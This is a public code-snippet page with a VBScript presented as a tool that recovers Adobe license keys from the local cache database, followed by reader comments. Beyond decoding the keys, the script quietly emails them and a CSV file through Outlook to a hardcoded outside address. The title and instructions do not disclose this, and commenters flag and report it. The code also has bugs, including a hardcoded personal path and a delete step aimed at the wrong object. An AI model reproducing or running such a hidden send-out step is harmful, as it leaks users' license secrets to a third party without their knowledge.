VBS: Get All Adobe License Keys

adobe-licenses.vbs

'Modified by Travis Smith (wpsmith.net) to fetch all Adobe licenses.
'Written by Ryan Williams (ryan@ryadical.com), I am not a programmer so please excuse the messy code
'Now to give credit where credit is due:
'Cipher code converted from Sam Gleske's javascript found at: http://www.pages.drexel.edu/~sag47/adobe/
'His code was Converted from the source for "Enchanted Keyfinder" 
'original algorithm by Dave Hope (http://www.davehope.co.uk)

'To run this program make sure that sqlite3.exe is in the same folder as this vbs file. 
'SQLITE3 source and binaries can be found at www.sqlite.org

'Variable Declarations
Dim objFSO, objShell, objEM
Dim strCacheFile, strCurrentDirectory, strCommand, strSQLlite, strLine, strAdobeEncryptedKey, strAdobeKey, strFile
Dim arrTemp1, arrTemp2
Dim csvFile

'Objects: FileSystem & Shell
Set objFSO = CreateObject("Scripting.FileSystemObject") 
Set objShell = CreateObject("WScript.Shell")
Set objNetwork = CreateObject("Wscript.Network")

'Adobe Cache DB File
strCacheFile = "C:\Program Files (x86)\Common Files\Adobe\Adobe PCD\cache\cache.db"
strCacheFile = FindCacheFile(strCacheFile)

'Set Curret Directory
strCurrentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))

'Location of SQLite
strSQLlite = "C:\Users\dth8hxg\Documents\_programs\sqlite3.exe"

'Command: Get Product Name & Key
strCommand = strSQLlite & " " & Chr(34) & strCacheFile & Chr(34) & " " & chr(34) & "SELECT subDomain,value FROM domain_data WHERE key='SN' OR key='EncryptedSerial';" & chr(34)

'Command: Get Key Only
'strCommand = strCurrentDirectory & "sqlite3.exe " & Chr(34) & strCacheFile & Chr(34) & " " & chr(34) & "select value from domain_data where key='SN';" & chr(34)

'Msgbox(strCommand)
Set objOutput = objShell.Exec (strCommand)

'Prep CSV file
strFile = "C:\Users\"+objNetwork.UserName+"\Desktop\AdobeKeys.csv"
Set csvFile = CreateCSV(strFile)

'Prep output text
strOutput = ""
Do While Not objOutput.StdOut.AtEndOfStream
    'Read line
    strLine = objOutput.StdOut.Readline
    
    'Get Product
    arrTemp1 = Split(strLine,"{|}")
    strProduct = arrTemp1(0)

    'wscript.echo "Product: " & product
    
    'Get Encrypted Key
    REM If (arrTemp1 Is Nothing) Then
    REM If (IsNull(arrTemp1)) Then
    REM If UBound(arrTemp1) Then
    If IsArray(arrTemp1) Then
        If UBound(arrTemp1) >= 0 Then
            Msgbox("Not Empty")
            arrTemp2 = Split(arrTemp1(1),"|")
        Else
            Msgbox("Empty")
            arrTemp2 = Split(strLine,"|")
        End If
    Else
        Msgbox("---Empty")
    End If
    strAdobeEncryptedKey = arrTemp2(1)
    strAdobeKey = DecodeAdobeKey(strAdobeEncryptedKey)
    
    'Store in string
    strOutput = strOutput & strLine & vbCrLf
    
    'Write to CSV
    csvFile.WriteLine strLine
    
    'Output to screen
    wscript.echo "Your Adobe " & strProduct & " License Key is: " & strAdobeKey
Loop

'wscript.echo strOutput
csvFile.Close

'Email File
Set objEM = EmailAdobeKey(strOutput,strFile)

'Delete files
If objFSO.FileExists(csvFile) Then
  objFSO.DeleteFile(csvFile)
End If

Function IsArrayDimmed(arr)
   IsArrayDimmed = False
   If IsArray(arr) Then
     On Error Resume Next
     Dim ub : ub = UBound(arr)
     If (Err.Number = 0) And (ub >= 0) Then IsArrayDimmed = True
   End If  
 End Function
 
Function EmailAdobeKey(strText, strFile)
    Set objSysInfo = CreateObject("ADSystemInfo")
    Set objOutlookApp = CreateObject("Outlook.Application")
    Set objMailItem = objOutlookApp.CreateItem(olMailItem)
    'comment the next line If you do Not want to see the outlook window
    objMailItem.Display
    objMailItem.Recipients.Add "travis.smith@ups.com"
    objMailItem.Subject = "Adobe Licenses"
    objMailItem.Body = "Hello," & vbCrLf & "Attached are my Adobe License Keys: " & strText & vbCrLf & "Thanks," & vbCrLf & objSysInfo.UserName
    objMailItem.Attachments.Add strFile
    objMailItem.Send
    
    Set objSysInfo = Nothing
    Set objOutlookApp = Nothing
    Set objMailItem = Nothing
    Set EmailAdobeKey = Nothing
    Msgbox "Completed!",vbokonly,"Done"
End Function

Function CreateCSV(sFile)
    Set objFile = CreateObject("Scripting.FileSystemObject")
    Set CreateCSV = objFile.CreateTextFile(sFile)
End Function

Function DecodeAdobeKey(strAdobeEncryptedKey)
    Dim AdobeCipher(24)
    Dim strAdobeDecryptedKey

    AdobeCipher(0) = "0000000001"
    AdobeCipher(1) = "5038647192"
    AdobeCipher(2) = "1456053789"
    AdobeCipher(3) = "2604371895"
    AdobeCipher(4) = "4753896210"
    AdobeCipher(5) = "8145962073"
    AdobeCipher(6) = "0319728564"
    AdobeCipher(7) = "7901235846"
    AdobeCipher(8) = "7901235846"
    AdobeCipher(9) = "0319728564"
    AdobeCipher(10) = "8145962073"
    AdobeCipher(11) = "4753896210"
    AdobeCipher(12) = "2604371895"
    AdobeCipher(13) = "1426053789"
    AdobeCipher(14) = "5038647192"
    AdobeCipher(15) = "3267408951"
    AdobeCipher(16) = "5038647192"
    AdobeCipher(17) = "2604371895"
    AdobeCipher(18) = "8145962073"
    AdobeCipher(19) = "7901235846"
    AdobeCipher(20) = "3267408951"
    AdobeCipher(21) = "1426053789"
    AdobeCipher(22) = "4753896210"
    AdobeCipher(23) = "0319728564"

    'decode the adobe key
   for i = 0 To 23
   
       if (i Mod 4 = 0 And i > 0) Then 
	 'every 4 characters add a "-"
         strAdobeDecryptedKey = strAdobeDecryptedKey & "-"
       end if 

    	  'Grab the next number from the adobe encrypted key. Add one to 'i' because it isn't base 0
	j = mid (strAdobeEncryptedKey, i + 1, 1)

	  'Add one to J because it isn't base 0 and grab that numbers position in the cipher
	k = mid (AdobeCipher(i), j + 1, 1)
	
	strAdobeDecryptedKey = strAdobeDecryptedKey & k

   Next
	
   DecodeAdobeKey = strAdobeDecryptedKey
End Function

Function FindCacheFile(CacheFile)
	If (Not CacheFile = "") And (objFSO.FileExists(CacheFile)) Then
		FindCacheFile = CacheFile
	ElseIf objFSO.FileExists("c:\Program Files (x86)\Common Files\Adobe\Adobe PCD\cache\cache.db") Then
		FindCacheFile = "c:\Program Files (x86)\Common Files\Adobe\Adobe PCD\cache\cache.db"
	ElseIf objFSO.FileExists("c:\Program Files\Common Files\Adobe\Adobe PCD\cache\cache.db") Then
		FindCacheFile = "c:\Program Files\Common Files\Adobe\Adobe PCD\cache\cache.db"
	Else
		wscript.echo "Can't find the cache.db file"
		wscript.quit
	End IF
End Function

Nice script... However I would remove the part where who ever runs this script will send you their Adobe keys....

Yeaaah, I'm with netwired. Reported.

Reported

Take your email out of the script